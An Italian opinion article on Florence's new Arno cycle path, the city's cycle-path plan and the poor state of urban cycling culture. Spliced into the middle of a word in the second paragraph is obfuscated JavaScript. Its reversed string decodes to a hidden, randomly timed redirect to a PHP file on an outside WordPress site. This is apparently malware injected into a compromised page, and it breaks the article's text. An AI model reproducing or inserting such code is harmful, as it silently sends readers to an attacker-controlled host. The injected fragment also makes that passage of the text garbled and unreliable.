Per cambiare, c’è da pedalare

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Il 9 settembre è stata inaugurata una nuova pista ciclabile sulla riva destra dell’Arno nel tratto fra il Molino di Sant’Andrea e il torrente Mensola. Quasi due chilometri di pista per tre metri di larghezza. L’assessore all’ambiente Claudio Del Lungo ha detto che “è il punto di partenza della ciclopista C1, quella che attraverserà tutta la città”.
Ultimamente il Comune di Firenze, grazie in primo luogo al lavoro dell’Assessore all’Ambiente, sta inizi (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando a recuperare un po’ del tempo perso riguardo allo sviluppo della mobilità ciclabile in città. Ci riferiamo in primo luogo al Piano delle piste ciclabili, passo senza dubbio importante.
Il piano ha avuto il via libera della giunta comunale il 16 giugno ed è stato approvato nelle sue linee guida dal consiglio quattro giorni dopo: prevede 9 piste ciclabili per un totale di 108 Km. Del Lungo ha promesso il completamento della pista dell’Arno entro il 2006, nei tratti da Sant’Andrea a Rovezzano al Saschall e dalla Stazione delle Cascine fino ai Renai di Signa, ma anche la pista che va dalle Cascine al Polo Scientifico di Sesto e quella da Viale de Amicis al ponte al Pino.
Nei prossimi anni poi saranno realizzati o migliorati anche altri percorsi: la ciclopista nei viali di circonvallazione, la ciclopista Affrico, la ciclopista Novoli, la viale dei Colli, l’Ema-Greve e la Stazione di Rovezzano.
Ma se davvero si vuole spostare una percentuale importante di traffico dalle auto alle bici, non ci si può limitare alla realizzazione di piste ciclabili… Per cambiare lo stato di cose attuale, quello di una città sotto assedio delle auto, sindaci ed assessori dovrebbero investire prima di tutto sul fronte della sensibilizzazione all’uso delle biciclette con facilitazioni, incentivi, integrando sempre più le bici ed i mezzi pubblici (bus, treno, futura tramvia…): fino alla Fortezza da Basso. Oggi a Firenze la bici è usata dal 5,4% della popolazione, l’obiettivo dell’Assessore all’Ambiente è arrivare al 9,4% “che significherebbe 10.000 utenti in più e 10.000 macchine in meno”.
Si dovrebbero per questo realizzare anche altre infrastrutture come posteggi custoditi con “ciclofficine” almeno nei pressi di fermate, capolinea e stazioni dei mezzi pubblici.
A Firenze, come in molte altre città, sembra mancare una vera e propria – “sana” – cultura della bicicletta. È inutile creare piste ciclabili se poi si lascia che vengano ostruite da veicoli posteggiati abusivamente; se si permette che si aprano cantieri sulle stesse piste senza pensare a percorsi alternativi; se uscendo dalle piste si mette a rischio la propria vita, su strade pensate a misura di “auto da corsa” o piene di buche pericolose; se non si dà ai ciclisti la possibilità di posteggiare il loro mezzo fornendo rastrelliere insufficienti e inadeguate a difendere le biciclette. Secondo l’analisi del Piano delle piste ciclabili infatti mancano circa 10.000 parcheggi, che dovrebbero arrivare a breve con nuove rastrelliere più sicure munite di gancio per assicurare il telaio.
Occorrerebbe un cambio di mentalità: quando si pensa ai problemi della mobilità dovremmo mettere al primo posto la cosiddetta “mobilità sostenibile”. Bisognerebbe che sulle strade la precedenza spettasse a pedoni e biciclette, invece così non è. In parte per la negligenza dei nostri amministratori, ma soprattutto perché la maggioranza dei cittadini chiede sempre facilitazioni all’uso della propria auto e vede gli utenti “deboli” della strada come inutili ostacoli al proprio diritto di muoversi su quattro ruote.

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